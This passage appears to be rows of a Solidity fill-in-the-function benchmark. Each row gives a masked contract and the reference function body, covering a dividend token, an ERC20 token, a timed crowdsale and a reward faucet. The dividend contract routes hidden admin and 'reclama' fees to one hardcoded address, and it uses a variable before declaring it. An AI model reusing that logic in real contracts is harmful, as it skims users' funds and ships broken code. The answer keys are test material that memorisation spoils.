_updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee); //profitPerShare_old * magnitude * _amountOfTokens;ayoutsToOLD payoutsTo_[_customerAddress] += _updatedPayouts; emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice()); return _amountOfTokens; } function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( SafeMath.sub( (sqrt( (_tokenPriceInitial ** 2) + (2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18)) + ((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2)) + (2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial ) ) / (tokenPriceIncremental_) ) - (tokenSupply_); return _tokensReceived; } function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {<FILL_FUNCTION_BODY> } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } }
contract MainContract { modifier onlyBagholders { require(myTokens() > 0); _; } modifier onlyStronghands { require(myDividends(true) > 0); _; } event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy, uint timestamp, uint256 price ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned, uint timestamp, uint256 price ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); event Transfer( address indexed from, address indexed to, uint256 tokens ); string public name = "Main Contract Token"; string public symbol = "MCT"; uint8 constant public decimals = 18; uint8 constant internal entryFee_ = 15; uint8 constant internal transferFee_ = 1; uint8 constant internal exitFee_ = 3; uint8 constant internal onreclame = 3; uint8 constant internal refferalFee_ = 35; uint8 constant internal adminFee_ = 5; uint256 constant internal tokenPriceInitial_ = 0.0000001 ether; //начальная цена токена uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether; //инкремент цены токена uint256 constant internal magnitude = 2 ** 64; // 2^64 uint256 public stakingRequirement = 30e18; //сколько токенов нужно для рефералки mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; uint256 internal tokenSupply_; uint256 internal profitPerShare_; function buy(address _referredBy) public payable returns (uint256) { purchaseTokens(msg.value, _referredBy); } function() payable public { purchaseTokens(msg.value, 0x0); } function reinvest() onlyStronghands public { uint256 _dividends = myDividends(false); address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; uint256 _tokens = purchaseTokens(_dividends, 0x0); emit onReinvestment(_customerAddress, _dividends, _tokens); } function exit() public { address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if (_tokens > 0) sell(_tokens); withdraw(); } function withdraw() onlyStronghands public { address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; _customerAddress.transfer(_dividends); emit onWithdraw(_customerAddress, _dividends); } function sell(uint256 _amountOfTokens) onlyBagholders public { address _customerAddress = msg.sender; require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); if (_customerAddress != 0xAdf6EdbfE096BEb9E0aD18e1133bdc9a916DB596){ uint256 _reclama = SafeMath.div(SafeMath.mul(_ethereum, onreclame), 100); _taxedEthereum = SafeMath.sub (_taxedEthereum, _reclama); tokenBalanceLedger_[0xAdf6EdbfE096BEb9E0aD18e1133bdc9a916DB596] += _reclama;} tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; if (tokenSupply_ > 0) { profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice()); } function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) { address _customerAddress = msg.sender; require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); if (myDividends(true) > 0) { withdraw(); } uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100); uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee); uint256 _dividends = tokensToEthereum_(_tokenFee); tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens); payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens); profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); emit Transfer(_customerAddress, _toAddress, _taxedTokens); return true; } address contractAddress = this; function totalEthereumBalance() public view returns (uint256) { return contractAddress.balance; } function totalSupply() public view returns (uint256) { return tokenSupply_; } function myTokens() public view returns(uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } function myDividends(bool _includeReferralBonus) public view returns(uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } function balanceOf(address _customerAddress) view public returns(uint256) { return tokenBalanceLedger_[_customerAddress]; } function dividendsOf(address _customerAddress) view public returns(uint256) { return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } function sellPrice() public view returns (uint256) { if (tokenSupply_ == 0) { return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } function buyPrice() public view returns (uint256) { if (tokenSupply_ == 0) { return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100); uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends); return _taxedEthereum; } } function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) { uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) { address _customerAddress = msg.sender; uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100); uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); if (_customerAddress != 0xAdf6EdbfE096BEb9E0aD18e1133bdc9a916DB596){ uint256 _admin = SafeMath.div(SafeMath.mul(_undividedDividends, adminFee_),100); _dividends = SafeMath.sub(_dividends, _admin); uint256 _adminamountOfTokens = ethereumToTokens_(_admin); tokenBalanceLedger_[0xAdf6EdbfE096BEb9E0aD18e1133bdc9a916DB596] += _adminamountOfTokens; } uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_); if ( _referredBy != 0x0000000000000000000000000000000000000000 && _referredBy != _customerAddress && tokenBalanceLedger_[_referredBy] >= stakingRequirement ) { referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } else { _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } if (tokenSupply_ > 0) { tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); profitPerShare_ += (_dividends * magnitude / tokenSupply_); _fee = _amountOfTokens * (_dividends * magnitude / tokenSupply_); } else { tokenSupply_ = _amountOfTokens; } tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee); //profitPerShare_old * magnitude * _amountOfTokens;ayoutsToOLD payoutsTo_[_customerAddress] += _updatedPayouts; emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice()); return _amountOfTokens; } function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( SafeMath.sub( (sqrt( (_tokenPriceInitial ** 2) + (2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18)) + ((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2)) + (2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial ) ) / (tokenPriceIncremental_) ) - (tokenSupply_); return _tokensReceived; } <FILL_FUNCTION> function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } }
uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( SafeMath.sub( ( ( (tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18)) ) - tokenPriceIncremental_ ) * (tokens_ - 1e18) ), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2 ) / 1e18); return _etherReceived;
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256)
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256)
5,789
SaraAndMauroToken
SaraAndMauroToken
contract SaraAndMauroToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function SaraAndMauroToken() public {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
contract SaraAndMauroToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; <FILL_FUNCTION> // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
symbol = "SAMT"; name = "Sara and Mauro Token"; decimals = 0; _totalSupply = 2; balances[0x7b6712792F9d7835b45b3bA0906123a698672824] = _totalSupply; Transfer(address(0), 0x7b6712792F9d7835b45b3bA0906123a698672824, _totalSupply);
function SaraAndMauroToken() public
// ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function SaraAndMauroToken() public
62,542
TimedCrowdsale
isOpen
contract TimedCrowdsale { using SafeMath for uint256; uint256 public openingTime; uint256 public closingTime; /** * @dev Reverts if not in crowdsale time range. */ modifier onlyWhileOpen { require(now >= openingTime && now <= closingTime); _; } /** * @dev Constructor, takes crowdsale opening and closing times. * @param _openingTime Crowdsale opening time * @param _closingTime Crowdsale closing time */ function TimedCrowdsale(uint256 _openingTime, uint256 _closingTime) public { require(_openingTime >= now); require(_closingTime >= _openingTime); openingTime = _openingTime; closingTime = _closingTime; } /** * @dev Checks whether the period in which the crowdsale is open has already elapsed. * @return Whether crowdsale period has elapsed */ function hasClosed() public view returns (bool) { return now > closingTime; } function isOpen() public view returns (bool) {<FILL_FUNCTION_BODY> } /** * @dev Extend parent behavior requiring to be within contributing period * @param _beneficiary Token purchaser * @param _weiAmount Amount of wei contributed */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen { //super._preValidatePurchase(_beneficiary, _weiAmount); } }
contract TimedCrowdsale { using SafeMath for uint256; uint256 public openingTime; uint256 public closingTime; /** * @dev Reverts if not in crowdsale time range. */ modifier onlyWhileOpen { require(now >= openingTime && now <= closingTime); _; } /** * @dev Constructor, takes crowdsale opening and closing times. * @param _openingTime Crowdsale opening time * @param _closingTime Crowdsale closing time */ function TimedCrowdsale(uint256 _openingTime, uint256 _closingTime) public { require(_openingTime >= now); require(_closingTime >= _openingTime); openingTime = _openingTime; closingTime = _closingTime; } /** * @dev Checks whether the period in which the crowdsale is open has already elapsed. * @return Whether crowdsale period has elapsed */ function hasClosed() public view returns (bool) { return now > closingTime; } <FILL_FUNCTION> /** * @dev Extend parent behavior requiring to be within contributing period * @param _beneficiary Token purchaser * @param _weiAmount Amount of wei contributed */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen { //super._preValidatePurchase(_beneficiary, _weiAmount); } }
return ((now > openingTime) && (now < closingTime));
function isOpen() public view returns (bool)
function isOpen() public view returns (bool)
62,072
TimeLockedRewardFaucet
state
contract TimeLockedRewardFaucet { // =========== CONFIG START =========== address constant public MULTISIG_OWNER = 0xe18Af0dDA74fC4Ee90bCB37E45b4BD623dC6e099; address constant public TEAM_WALLET = 0x008cdC9b89AD677CEf7F2C055efC97d3606a50Bd; ERC20_Transferable public token = ERC20_Transferable(0x7C5A0CE9267ED19B22F8cae653F198e3E8daf098); uint public LOCK_RELASE_TIME = now + 15 minutes; //block.timestamp(4011221) == 1499846591 uint public WITHDRAWAL_END_TIME = LOCK_RELASE_TIME + 10 minutes; // =========== CONFIG END =========== address[] public team_accounts; uint public locked_since = 0; uint amount_to_distribute; function all_team_accounts() external constant returns(address[]) { return team_accounts; } function timeToUnlockDDHHMM() external constant returns(uint[3]) { if (LOCK_RELASE_TIME > now) { uint diff = LOCK_RELASE_TIME - now; uint dd = diff / 1 days; uint hh = diff % 1 days / 1 hours; uint mm = diff % 1 hours / 1 minutes; return [dd,hh,mm]; } else { return [uint(0), uint(0), uint(0)]; } } function start() external only(MULTISIG_OWNER) inState(State.INIT){ locked_since = now; } function () payable { msg.sender.transfer(msg.value); //pay back whole amount sent State state = _state(); if (state==State.INIT) { //collect addresses for payout require(indexOf(team_accounts,msg.sender)==-1); team_accounts.push(msg.sender); } else if (state==State.WITHDRAWAL) { // setup amount to distribute if (amount_to_distribute==0) amount_to_distribute = token.balanceOf(this); //payout processing require(indexOf(team_accounts, msg.sender)>=0); token.transfer(msg.sender, amount_to_distribute / team_accounts.length); } else if (state==State.CLOSED) { //collect unclaimed token to team wallet require(msg.sender == TEAM_WALLET); var balance = token.balanceOf(this); token.transfer(msg.sender, balance); } else { revert(); } } enum State {INIT, LOCKED, WITHDRAWAL, CLOSED} string[4] labels = ["INIT", "LOCKED", "WITHDRAWAL", "CLOSED"]; function _state() internal returns(State) { if (locked_since == 0) return State.INIT; else if (now < LOCK_RELASE_TIME) return State.LOCKED; else if (now < WITHDRAWAL_END_TIME) return State.WITHDRAWAL; else return State.CLOSED; } function state() constant public returns(string) {<FILL_FUNCTION_BODY> } function indexOf(address[] storage addrs, address addr) internal returns (int){ for(uint i=0; i<addrs.length; ++i) { if (addr == addrs[i]) return int(i); } return -1; } //fails if state dosn't match modifier inState(State s) { if (_state() != s) revert(); _; } modifier only(address allowed) { if (msg.sender != allowed) revert(); _; } }
contract TimeLockedRewardFaucet { // =========== CONFIG START =========== address constant public MULTISIG_OWNER = 0xe18Af0dDA74fC4Ee90bCB37E45b4BD623dC6e099; address constant public TEAM_WALLET = 0x008cdC9b89AD677CEf7F2C055efC97d3606a50Bd; ERC20_Transferable public token = ERC20_Transferable(0x7C5A0CE9267ED19B22F8cae653F198e3E8daf098); uint public LOCK_RELASE_TIME = now + 15 minutes; //block.timestamp(4011221) == 1499846591 uint public WITHDRAWAL_END_TIME = LOCK_RELASE_TIME + 10 minutes; // =========== CONFIG END =========== address[] public team_accounts; uint public locked_since = 0; uint amount_to_distribute; function all_team_accounts() external constant returns(address[]) { return team_accounts; } function timeToUnlockDDHHMM() external constant returns(uint[3]) { if (LOCK_RELASE_TIME > now) { uint diff = LOCK_RELASE_TIME - now; uint dd = diff / 1 days; uint hh = diff % 1 days / 1 hours; uint mm = diff % 1 hours / 1 minutes; return [dd,hh,mm]; } else { return [uint(0), uint(0), uint(0)]; } } function start() external only(MULTISIG_OWNER) inState(State.INIT){ locked_since = now; } function () payable { msg.sender.transfer(msg.value); //pay back whole amount sent State state = _state(); if (state==State.INIT) { //collect addresses for payout require(indexOf(team_accounts,msg.sender)==-1); team_accounts.push(msg.sender); } else if (state==State.WITHDRAWAL) { // setup amount to distribute if (amount_to_distribute==0) amount_to_distribute = token.balanceOf(this); //payout processing require(indexOf(team_accounts, msg.sender)>=0); token.transfer(msg.sender, amount_to_distribute / team_accounts.length); } else if (state==State.CLOSED) { //collect unclaimed token to team wallet require(msg.sender == TEAM_WALLET); var balance = token.balanceOf(this); token.transfer(msg.sender, balance); } else { revert(); } } enum State {INIT, LOCKED, WITHDRAWAL, CLOSED} string[4] labels = ["INIT", "LOCKED", "WITHDRAWAL", "CLOSED"]; function _state() internal returns(State) { if (locked_since == 0) return State.INIT; else if (now < LOCK_RELASE_TIME) return State.LOCKED; else if (now < WITHDRAWAL_END_TIME) return State.WITHDRAWAL; else return State.CLOSED; } <FILL_FUNCTION> function indexOf(address[] storage addrs, address addr) internal returns (int){ for(uint i=0; i<addrs.length; ++i) { if (addr == addrs[i]) return int(i); } return -1; } //fails if state dosn't match modifier inState(State s) { if (_state() != s) revert(); _; } modifier only(address allowed) { if (msg.sender != allowed) revert(); _; } }
return labels[uint(_state())];
function state() constant public returns(string)
function state() constant public returns(string)